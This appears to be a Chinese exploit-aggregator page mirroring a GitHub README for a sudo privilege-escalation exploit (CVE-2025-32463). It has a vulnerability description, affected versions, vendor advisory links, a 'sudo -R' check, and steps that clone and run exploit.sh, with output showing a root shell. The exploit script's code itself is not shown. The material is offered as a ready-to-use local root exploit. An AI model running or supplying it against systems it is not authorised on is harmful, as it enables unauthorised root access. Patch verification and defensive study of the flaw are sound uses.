关联漏洞
标题：
Sudo 安全漏洞
(CVE-2025-32463)
描述：Sudo是一款使用于类Unix系统的，允许用户通过安全的方式使用特殊的权限执行命令的程序。 Sudo 1.9.17p1之前版本存在安全漏洞，该漏洞源于使用用户控制目录中的/etc/nsswitch.conf可能导致获取root访问权限。
描述
This is the exploit for the CVE-2025-32463
介绍
# CVE-2025-32463 Exploit
This is the exploit for the CVE-2025-32463
- Thanks to [Rich Mirch](https://www.stratascale.com/team/rich-mirch) ([@0xm1rch](https://x.com/0xm1rch) on X) @ [Stratascale](https://www.stratascale.com/) for reporting this amazing vulnerability.
- Original Post: [Vulnerability Advisory: Sudo chroot Elevation of Privilege](https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot)
- NVD: [CVE-2025-32463](https://nvd.nist.gov/vuln/detail/CVE-2025-32463) (CVSS 9.3)
---
## Affected Versions
> Vulnerable builds of **sudo 1.9.14** up to **1.9.17** (all p‑revisions) on most Linux distributions are affected.
Security Pages
- [Ubuntu](https://ubuntu.com/security/CVE-2025-32463) (CVSS 9.3)
- [Redhat](https://access.redhat.com/security/cve/cve-2025-32463) (CVSS 7.8)
- [SUSE](https://www.suse.com/security/cve/CVE-2025-32463.html) (CVSS 7.8)
- [Debian](https://security-tracker.debian.org/tracker/CVE-2025-32463)
---
## Quick vulnerability check
```bash
# Vulnerable sudo will give you this
kairaj5456 ~ $ sudo -R fake_root fake_root
sudo: fake_root: No such file or directory
# Patched sudo will give you this
kairaj5456 ~ $ sudo -R fake_root fake_root
[sudo] password for kairaj5456:
sudo: you are not permitted to use the -R option with fake_root
```
---
## Testing the exploit
```bash
$ git clone https://github.com/Rajneeshkarya/CVE-2025-32463.git
$ cd CVE-2025-32463
$ chmod +x exploit.sh
$ ./exploit.sh
[+] Launching exploit via sudo...
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),117(bluetooth),121(wireshark),129(scanner),136(kaboxer),1000(kairaj5456)
```
---
## For Understanding the Vulnerability
Check out the orginal blog posted by Rich Mirch - [click here](https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot)
文件快照
[4.0K] /data/pocs/caa7b132fbd24d6fd244f9d18d3d825635b9d773
├── [ 864] exploit.sh
└── [1.9K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。